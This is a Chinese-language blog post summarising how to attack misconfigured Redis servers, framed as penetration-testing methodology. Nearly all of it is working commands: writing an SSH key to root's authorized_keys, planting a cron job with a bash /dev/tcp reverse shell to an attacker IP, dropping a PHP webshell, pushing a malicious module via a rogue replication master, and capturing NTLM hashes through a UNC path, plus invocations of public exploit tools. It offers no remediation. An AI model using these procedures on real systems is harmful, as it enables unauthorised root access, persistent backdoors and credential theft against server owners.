Redis渗透思路总结

发布于:2025-07-13 ⋅ 阅读:(22) ⋅ 点赞:(0)

Redis 是一个开源的内存数据结构存储系统,广泛应用于数据库、缓存和消息代理。然而,Redis 部署中的配置错误和缺乏身份验证可能导致严重的安全风险。


Redis 安全风险简介

Redis 以其快速和轻量级的特性而闻名,但默认配置和不当设置可能使其成为攻击者的目标。常见的安全问题包括:

  • 未启用身份验证:Redis 默认不要求密码,攻击者可直接连接。
  • 对外网开放:Redis 默认绑定到 0.0.0.0,允许远程访问。
  • 权限过高:Redis 服务以高权限用户(如 root)运行,攻击者可执行系统级操作。
  • 数据持久化问题:Redis 的持久化机制可能被利用写入恶意文件。
  • 主从复制漏洞:高版本 Redis 的主从复制机制可能被用于远程代码执行(RCE)。

本文将从手动利用和自动化利用两个方面,详细介绍 Redis 渗透测试的思路和方法。


一、手动利用 Redis 漏洞

手动利用 Redis 漏洞需要深入了解 Redis 的配置和命令。以下是几种常见的攻击方法,逐步讲解其原理和操作步骤。

1. 写入 SSH 公钥(开放 SSH 访问)

原理
Redis 的 CONFIG SET 命令允许修改数据库的存储目录和文件名。如果 Redis 以高权限运行,攻击者可以将 SSH 公钥写入目标服务器的 /root/.ssh/authorized_keys 文件,从而获得 SSH 远程访问权限。

步骤

  1. 连接 Redis
    使用 redis-cli 连接目标 Redis 服务器,假设目标 IP 为 172.19.0.2,端口为 6379

    redis-cli -h 172.19.0.2 -p 6379
    

    如果 Redis 未设置密码,可直接进入命令行界面。

  2. 检查权限
    使用 INFO 命令查看 Redis 的运行用户和权限:

    INFO SERVER
    

    如果 Redis 以 root 权限运行,则可以尝试写入系统文件。

  3. 设置存储目录和文件名
    将 Redis 的持久化目录设置为 /root/.ssh/,文件名设置为 authorized_keys

    CONFIG SET dir /root/.ssh/
    CONFIG SET dbfilename authorized_keys
    
  4. 写入 SSH 公钥
    先生成本地 SSH 公钥(假设已生成,位于 ~/.ssh/id_rsa.pub),将其内容写入 Redis:

    SET ssh_key "ssh-rsa AAAAB3NzaC1yc2E... your_public_key"
    SAVE
    

    SAVE 命令会将数据持久化到 /root/.ssh/authorized_keys

  5. 验证 SSH 访问
    使用对应的私钥尝试 SSH 登录目标服务器:

    ssh -i ~/.ssh/id_rsa root@172.19.0.2
    

    如果成功,将获得目标服务器的 root 权限。

注意事项

  • 目标服务器必须启用 SSH 服务,且 Redis 需以高权限运行。
  • 如果目录 /root/.ssh/ 不存在,需确认 Redis 是否有权限创建目录。

2. 写入计划任务(Cron 定时任务)

原理
Linux 系统的计划任务(Cron)允许定期执行脚本。如果 Redis 可以写入 Cron 配置文件(如 /etc/crontab),攻击者可添加恶意任务,执行反弹 Shell 或其他恶意命令。

步骤

  1. 连接 Redis
    同上,使用 redis-cli 连接目标 Redis。

  2. 设置存储目录和文件名
    将存储目录设置为 Cron 配置文件目录(如 /etc/),文件名设置为 crontab

    CONFIG SET dir /etc/
    CONFIG SET dbfilename crontab
    
  3. 写入恶意 Cron 任务
    构造一个反弹 Shell 的 Cron 任务,例如每分钟连接攻击者的监听端口:

    SET cron "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/172.19.0.3/4444 0>&1'"
    SAVE
    
  4. 启动监听
    在攻击者机器(假设 IP 为 172.19.0.3)上使用 netcat 监听:

    nc -lvnp 4444
    
  5. 等待反弹 Shell
    Cron 任务每分钟执行一次,成功后攻击者将收到目标服务器的 Shell。

注意事项

  • 需确认目标系统是否启用了 Cron 服务。
  • 写入的 Cron 任务需符合正确的格式,避免语法错误。

3. 写入 Webshell

原理
如果目标服务器运行 Web 服务,攻击者可通过 Redis 将恶意脚本(如 PHP Webshell)写入 Web 根目录,获得 Web 层面的远程代码执行能力。

步骤

  1. 确认 Web 根目录
    假设 Web 根目录为 /var/www/html/,可通过 CONFIG GET dir 确认 Redis 是否有权限写入该目录。

  2. 设置存储目录和文件名

    CONFIG SET dir /var/www/html/
    CONFIG SET dbfilename shell.php
    
  3. 写入 Webshell
    写入一个简单的 PHP Webshell:

    SET webshell "<?php system($_GET['cmd']); ?>"
    SAVE
    
  4. 访问 Webshell
    通过浏览器或 curl 访问 http://172.19.0.2/shell.php?cmd=whoami,执行任意命令。

注意事项

  • 需确认目标服务器的 Web 根目录和文件权限。
  • Webshell 的内容需根据目标 Web 服务器支持的语言(如 PHP、ASP)调整。

4. 主从复制 RCE(高版本 Redis)

原理
Redis 的主从复制功能允许从节点同步主节点的数据。攻击者可伪装为主节点,通过主从复制协议向目标 Redis 从节点推送恶意模块,从而能够执行命令。Redis 5.0 及以上版本支持模块加载,这使得 RCE 成为可能。

步骤

  1. 搭建恶意主节点
    使用工具如 redis-rogue-server(后文详述)或手动搭建 Redis 主节点。

  2. 设置目标为从节点
    连接目标 Redis,设置为攻击者控制的主节点的从节点:

    SLAVEOF 172.19.0.3 15000
    
  3. 加载恶意模块
    攻击者的主节点推送恶意模块(如 exp.so),目标 Redis 加载后执行代码。

注意事项

  • 需确保目标 Redis 版本支持模块加载。
  • 网络需允许目标服务器与攻击者服务器通信。

5. NTLM Hash 泄露(结合 SMB 攻击)

原理
如果目标服务器运行 Windows 系统,攻击者可利用 Redis 写入恶意文件,诱导系统访问攻击者的 SMB 服务器,从而捕获 NTLM Hash,用于后续破解或传递攻击(Pass-the-Hash)。

步骤

  1. 搭建 SMB 服务器
    在攻击者机器上运行 impacket-smbserver

    python3 smbserver.py SHARE /tmp
    
  2. 写入恶意文件
    使用 Redis 将 UNC 路径写入目标系统的关键文件,诱导访问:

    CONFIG SET dir /tmp
    CONFIG SET dbfilename test.txt
    SET smb "\\172.19.0.3\SHARE\test"
    SAVE
    
  3. 捕获 NTLM Hash
    当目标系统尝试访问 SMB 路径时,攻击者的 SMB 服务器捕获 NTLM Hash。

  4. 破解或利用 Hash
    使用工具如 hashcat 破解 Hash,或通过 impacket 进行 Pass-the-Hash 攻击。

注意事项

  • 适用于 Windows 环境,需确认目标系统是否会自动访问 UNC 路径。
  • 需确保网络连通性。

二、半自动利用:Redis Rogue Server

工具
Awesome-Redis-Rogue-Server

原理
通过伪装 Redis 主节点,利用主从复制协议加载恶意模块(如 exp.so),实现 RCE。

步骤

  1. 准备环境

    • 攻击者机器:172.19.0.3
    • 目标 Redis:172.19.0.2:6379
    • 下载并准备恶意模块 exp.so
  2. 运行 Rogue Server
    在攻击者机器上运行工具:

    python3 redis-rogue-server.py -v -path module.so
    
  3. 配置目标 Redis
    连接目标 Redis,设置存储目录和文件名:

    CONFIG SET dir /tmp
    CONFIG SET dbfilename exp.so
    SLAVEOF 172.19.0.3 15000
    
  4. 触发 RCE
    Rogue Server 将推送 exp.so 到目标 Redis,加载后执行恶意代码。

注意事项

  • 确保模块文件与目标 Redis 版本兼容。
  • 网络防火墙需允许主从复制流量。

三、主从复制自动化利用

准备环境

  • 攻击者机器:172.19.0.3
  • 目标 Redis:172.19.0.2:6379

redis-rogue-server

工具地址
https://github.com/n0b0dyCN/redis-rogue-server

运行工具
在攻击者机器上执行以下命令,指定本地监听 IP 和目标 Redis IP:

python3 redis-rogue-server.py --lhost 172.19.0.3 --rhost 172.19.0.2

redis-rce

工具地址
https://github.com/Ridter/redis-rce

运行工具
执行以下命令,指定目标 Redis IP 和本地监听 IP:

python redis-rce.py -r 172.19.0.2 -L 172.19.0.3

注意事项

  • 需确保攻击者和目标机器网络双向连通。
  • 工具可能因 Redis 版本或配置不同而失败,需结合手动方法排查。

网站公告

今日签到

点亮在社区的每一天
去签到